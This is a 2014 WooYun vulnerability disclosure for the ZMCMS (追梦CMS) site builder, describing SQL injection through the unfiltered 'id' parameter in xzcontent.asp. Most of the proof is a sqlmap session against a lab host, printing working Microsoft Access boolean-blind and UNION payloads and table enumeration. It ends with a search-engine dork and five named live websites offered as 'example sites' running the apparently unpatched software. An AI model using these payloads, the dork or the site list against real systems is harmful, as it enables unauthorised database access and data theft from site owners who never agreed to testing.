当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078454

漏洞标题:通用型企业建站程序之追梦CMS注入3

相关厂商:zmxt企业建站系统

漏洞作者: ra0mb1er

提交时间:2014-10-13 15:18

修复时间:2015-01-11 15:20

公开时间:2015-01-11 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

啪啪啪啪

详细说明:

漏洞文件xzcontent.asp 1-4

<% 
id=request.QueryString("id")
Set rs=Server.CreateObject("ADODB.RecordSet")
sql="select * from Download where id="&id


showdown/index.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!--#include file="../Inc/sub.asp" -->
<!--#include file="../Inc/xzcontent.asp" -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

漏洞证明:

xzcontent.jpg


J:\sqlmap>python sqlmap.py -u "http://192.168.56.130:8081/showdown/?id=1" --tabl
es --dbms=access
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:01:55
[14:01:55] [INFO] testing connection to the target URL
[14:01:55] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:01:56] [INFO] target URL is stable
[14:01:56] [INFO] testing if GET parameter 'id' is dynamic
[14:01:56] [WARNING] GET parameter 'id' does not appear dynamic
[14:01:56] [WARNING] heuristic (basic) test shows that GET parameter 'id' might
not be injectable
[14:01:56] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'Microsoft Access' extending provided level
(1) and risk (1)? [Y/n]
[14:01:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:01:59] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace (original value)'
[14:01:59] [INFO] GET parameter 'id' seems to be 'Microsoft Access boolean-based
blind - Parameter replace (original value)' injectable (with --string="\u4e0a\u
6761\u4fe1\u606f\uff1a\u65e0")
[14:01:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:01:59] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:01:59] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:02:00] [INFO] target URL appears to have 3 columns in query
[14:02:00] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 co
lumns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 30 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(3191=3191,1,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHR(113)&CHR(110)&CHR(111)&CHR(106)
&CHR(113)&CHR(69)&CHR(72)&CHR(84)&CHR(86)&CHR(76)&CHR(121)&CHR(115)&CHR(87)&CHR(
119)&CHR(69)&CHR(113)&CHR(101)&CHR(116)&CHR(114)&CHR(113) FROM MSysAccessObjects
%16
---
[14:02:02] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:02:02] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:02:02] [INFO] the SQL query used returns 58 entries
Database: Microsoft_Access_masterdb
[1 table]
+-------------+
| MSysObjects |
+-------------+
[14:02:07] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\192.168.56.130'
[*] shutting down at 14:02:07
J:\sqlmap>
示例网站
inurl:"al.asp?pone"
http://www.ahgzc.com/
http://www.qqlqq.com/
http://www.it8088.com/
http://www.whhnt.com
http://www.hyzlch.com/

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝